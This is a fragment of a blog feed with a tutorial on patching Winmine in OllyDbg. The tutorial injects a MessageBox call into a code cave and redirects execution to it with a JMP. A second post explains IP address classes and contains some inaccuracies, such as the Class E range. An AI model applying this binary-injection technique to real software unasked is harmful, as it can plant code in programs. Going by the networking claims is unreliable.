style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;The place you find is called a 'cave',&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Now in the 'cave' we found we will add a Message Box call.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;The function call is:&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;MsgBoxA(0,”hi HL geeks”,”hi HL geeks”,0)&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;So this is the ASM code for doing that: &lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight:normal"&gt;&lt;i style="mso-bidi-font-style: normal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Push 0&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight:normal"&gt;&lt;i style="mso-bidi-font-style: normal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Push “&lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;hi HL geeks&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;”&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight:normal"&gt;&lt;i style="mso-bidi-font-style: normal"&gt;Push “&lt;span class="Apple-style-span" style="font-style: normal; "&gt;hi HL geeks&lt;/span&gt;”&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight:normal"&gt;&lt;i style="mso-bidi-font-style: normal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Push 0&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;  &lt;b style="mso-bidi-font-weight:normal"&gt;&lt;i style="mso-bidi-font-style:normal"&gt;&lt;span style="font-size: 12pt; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Call User32.MessageBoxA&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; font-style: italic;"&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;In Machine Code we go to an even lower level...we must allocate space for the “&lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;hi HL geeks&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;” string and then push the address of this allocated memory by doing a&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Push &lt;address&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;We will now add the code.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Highlight a bunch (about 20) of NOOPs from the cave.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Right click and select&lt;/span&gt; Binary-&gt;Edit.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Now on the Ascii field simply type in “&lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;hi HL geeks&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;”&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;You will now get some garbage on OllyDbg.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Do not worry.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Olly needs to reanalyze this code.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Press CTRL + A to analyze the code.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;After this, you should see “hi HL geeks” in some address.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Now below the address where you added your string, double click on one of the “DB 00” fields.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;You will get an Assemble at &lt;/span&gt;&lt;address&gt; window.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Type in:&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt; &lt;span class="Apple-style-span" style="font-style: italic; font-weight: bold; "&gt;push 0&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt; &lt;span class="Apple-style-span" style="font-family: arial;"&gt;and press Assembler.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;A new Assemble at &lt;/span&gt;&lt;address+1&gt; &lt;span class="Apple-style-span" style="font-family: arial;"&gt;will appear.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Now type in:&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt; &lt;span class="Apple-style-span" style="font-style: italic; font-weight: bold; "&gt;push MYADDRESS&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;where MYADDRESS is the address where your string is located.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;In the next address you should type: &lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight:normal"&gt;&lt;i style="mso-bidi-font-style: normal"&gt;push MYADDRESS&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;again (because you are pushing the same string 2 times, once for the header of the box once for the message in the box).&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;On the next address we type in:&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-style: italic; font-weight: bold; "&gt;push 0&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;again.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Finally we have to call the actual function call, so on the next address type:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-style: italic; font-weight: bold; "&gt;call user32.MessageBoxA&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-style: italic; font-weight: bold;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Now press the '*' key in your numpad, this will take you to the top of the window (the origin).&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Select the first 6 instructions, highlight them and then press CTRL + C (for backup).&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Paste this code into notepad.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Now we will overwrite some code.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Double click on the Origin instruction and type in:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;JMP CODEADDRESS&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;where&lt;/span&gt; CODEADDRESS is the address where your code starts&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;You will notice that more than one line got edited.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;The edited lines will be in red.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Compare the first few lines with your copy in Notepad and delete the lines that are duplicated from Notepad.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;The lines that are not duplicated we will need to add again somewhere.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;It is important to keep this address because what the program will do is read the EIP register.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;This points to the line where we added the JMP.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;The JMP will redirect the PC to the new code.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;The new code will execute, and then we want to jump back to the address you just wrote down so that normal execution continues as if nothing had happened.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;However, before we return to normal execution, we have to add the code that we overwrote.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;So we add this at the end of our code before we jump back to the beginning of the code.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Go to back to the origin.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Highlight the origin instruction, and right click with your mouse.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Then press Follow.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;This will take you to the address to which the origin jumps.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;If you have done everything correctly so far, this should take you to the beginning of your code&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; "&gt; (The first push 0).&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Now we need to add the code that was overwritten (which we copied in notepad,).&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Add the remaining instructions from notepad at the end&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt; (immediately after the &lt;/span&gt;&lt;b style="mso-bidi-font-weight:normal"&gt;&lt;i style="mso-bidi-font-style:normal"&gt;Call MessageBox &lt;/i&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;command).&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Note:&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;If it says something like &lt;/span&gt;'PUSH winmine.1234567' &lt;span class="Apple-style-span" style="font-family: arial;"&gt;in notepad, just type in &lt;/span&gt;'push 1234567').&lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Now at the last line of the new code insert the command &lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight:normal"&gt;&lt;i style="mso-bidi-font-style: normal"&gt;JMP SECONDADDRESS&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;where&lt;/span&gt; SECONDADDRESS i&lt;span class="Apple-style-span" style="font-family: arial;"&gt;s the address of the second line, or the line after the origin &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Now right click and go to Copy to executable -&gt; All Modifications.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;On the window that appears select:&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Copy All&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;A new window will appear.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Click yes to save modifications.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Save as a different name.&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Now press Run (the play button at the top of Olly).&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;The Message Box should have appeared and then Winmine.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;It is all how it works ,if u people also intrested in dynamic dll injection then plz comment in this post&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;credits-&lt;span class="Apple-style-span" style="font-size: 21px; font-weight: bold; "&gt;ECE,&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: 21px; "&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;MICROSOFT&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-5297656276316185864?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/5297656276316185864/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=5297656276316185864' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5297656276316185864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5297656276316185864'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2009/03/static-dll-injection.html' title='STATIC DLL INJECTION'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-1157273210401128341</id><published>2008-10-27T17:49:00.001-07:00</published><updated>2008-10-27T17:49:54.635-07:00</updated><title type='text'>IP address explained</title><content type='html'>&lt;p&gt;Every system connected to the Internet or connected to a particular network has a unique Internet Protocol Address of an IP Address. Just as in the real world every person has his or her own Home Contact Address, similarly every system connected to the Internet has its own unique IP Address. Your IP Address is the address to which data should be sent to ensure that it reaches your system. The IP Address of a system acts as the system’s unique identity on the net.&lt;/p&gt; &lt;p&gt;An Internet Protocol Address (IP Address) is a 32-bit address or number, which is normally written as four decimal numbers (of 8 bits each) , each separated from the other by a decimal.. This standard is known as the &lt;strong&gt;dotted-decimal notation&lt;/strong&gt;.&lt;/p&gt; &lt;p&gt;Example: A Typical IP Address would be as follows: 202.34.12.23&lt;/p&gt; &lt;p&gt;It can be further broken down as:&lt;/p&gt; &lt;p&gt;202 representing the first 8-bits.&lt;/p&gt; &lt;p&gt;34 representing the next 8-bits.&lt;/p&gt; &lt;p&gt;12 representing the third 8-bits.&lt;/p&gt; &lt;p&gt;23 representing the fourth 8-bits.&lt;/p&gt; &lt;p&gt;&lt;span id="more-163"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Thus when considered together 202.34.12.23 represents 32-bits. So basically we can conclude that each decimal in an IP Address represents 1 byte or 8 bits. It is important to note than an IP Address can contain numbers from 0-255.&lt;/p&gt; &lt;p&gt;There are a huge number of IP Addresses in use in the present day . All these IP Addresses have some sort of relation with each other and each individual IP Address can reveal a lot of secrets about the Network, of which it is a part. Before we move on to that, we need to understand the fact that all IP Addresses being used are divided into a number of ranges, which are as follows:&lt;/p&gt; &lt;p&gt;Class Range&lt;/p&gt; &lt;p&gt;A 0.0.0.0 to 127.255.255.255&lt;/p&gt; &lt;p&gt;B 128.0.0.0 to 191.255.255.255&lt;/p&gt; &lt;p&gt;C 192.0.0.0 to 223.255.255.255&lt;/p&gt; &lt;p&gt;D 224.0.0.0 to 239.255.255.255&lt;/p&gt; &lt;p&gt;E 240.0.0.0 to 247.255.255.255&lt;/p&gt; &lt;p&gt;So, we can easily conclude that one can find out the Class to which an IP Address belongs to simply by comparing the numeral before the first decimal of the IP Address with the above table.&lt;/p&gt; &lt;p&gt;For Example: In The IP Address 203.43.21.12, the number before the first decimal is 203 and the above table tells us that it belongs to Class C of the range of IP addresses&lt;/p&gt; &lt;p&gt;The various IP Addresses are divided into the different classes on the basis of the structure of their Network or in other words on the basis of what the various numbers separated by decimals actually stand for. To understand this, let us refer to the following:&lt;/p&gt; &lt;p&gt;Class Information&lt;/p&gt; &lt;p&gt;A It has the first 8-Bits for Netid and the last 24-bits for Hostid&lt;/p&gt; &lt;p&gt;B It has the first 16-Bits for Netid and the last 16-bits for Hostid&lt;/p&gt; &lt;p&gt;C It has the first 24-Bits for Netid and the last 8-bits for Hostid&lt;/p&gt; &lt;p&gt;D It represents a 32-bit multicast Group ID.&lt;/p&gt; &lt;p&gt;E Currently not being used.&lt;/p&gt; &lt;p&gt;The above table will be clearer after reading the following examples:&lt;/p&gt; &lt;p&gt;Examples:&lt;/p&gt; &lt;p&gt;An IP Address 203.45.12.34 belonging to Class A means that the network ID is 203 and the host ID is 45.12.34&lt;/p&gt; &lt;p&gt;If the Same IP Address belonged to Class B, then the network ID would become 203.45 and the host ID would become 12.34&lt;/p&gt; &lt;p&gt;And if it belonged to Class C then the network ID would become 203.45.12 and the host ID would become 34.&lt;/p&gt; &lt;p&gt;Almost all ISP’s prefer to use a Class B Network and some may use class C network. If that is the case then each time you login to your ISP, then the first 2 octets of your IP Address would not change, while the last two are likely to change. However, even if only the last octet changes, and the remaining three remain constant, it is likely that the ISP uses Class B addressing.&lt;/p&gt; &lt;p&gt;An IP Address, which belongs to the Class-A addressing system having a network ID equal to 127, is referred to as the special address. It is actually known as the &lt;strong&gt;Loopback Interface&lt;/strong&gt;. It allows clients and servers on the same system to &lt;strong&gt;communicate&lt;/strong&gt; with each other.&lt;/p&gt; &lt;p&gt;The loopback address, which is commonly used, is 127.0.0.1. Almost all systems have also given the loopback address the special name ‘&lt;strong&gt;localhost&lt;/strong&gt;’.&lt;/p&gt; &lt;p&gt;An IP Address does not necessarily have to be represented in the dotted decimal form. There is more than a single way in which one can represent an IP Address. Some of there are as follows-:&lt;/p&gt; &lt;p&gt;1. Decimal System: If an IP Address is being represented in the Decimal system, then it means that it is being represented in the Base 10 system. The normal IP Addresses are represented in the Decimal System. Example: 216.115.108.245&lt;/p&gt; &lt;p&gt;2. Domain Name System: If an IP Address is being represented in the form of human recognizable characters and names then it is said to be in the form of DNS system. Example: &lt;a href="http://www.yahoo.com/" target="_blank"&gt;www.yahoo.com&lt;/a&gt;&lt;/p&gt; &lt;p&gt;3. DWORD Format: DWORD is short for double word. It basically consists of two binary&lt;br /&gt;“words” (or lengths) of 16 bits. However, it is almost always represented in the decimal number system i.e. having a base 10. Example: D8736CF5, which when represented in the form of a decimal number system with a Base 10 becomes 3631443189&lt;/p&gt; &lt;p&gt;4. Octal System: If an IP Address is represented in the octal system, then it means that it is being represented in the Base 8. Example: 33034666365&lt;/p&gt; &lt;p&gt;5. Hexadecimal System: If an IP Address is represented in the Hexadecimal System, then it is actually being represented in the Base 16 system.&lt;/p&gt; &lt;p&gt;6. A Cross Breed: If an IP Address is being represented in the mixture of any of the above two systems, then it is said to be a Cross Breed.&lt;/p&gt; &lt;p&gt;All the examples portrayed above are some form or the other of the same address of the same system. What I mean to say by this is that typing any of the following in your browser will take you to the same site&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-1157273210401128341?l=winarbab.blogspot.com' alt='' 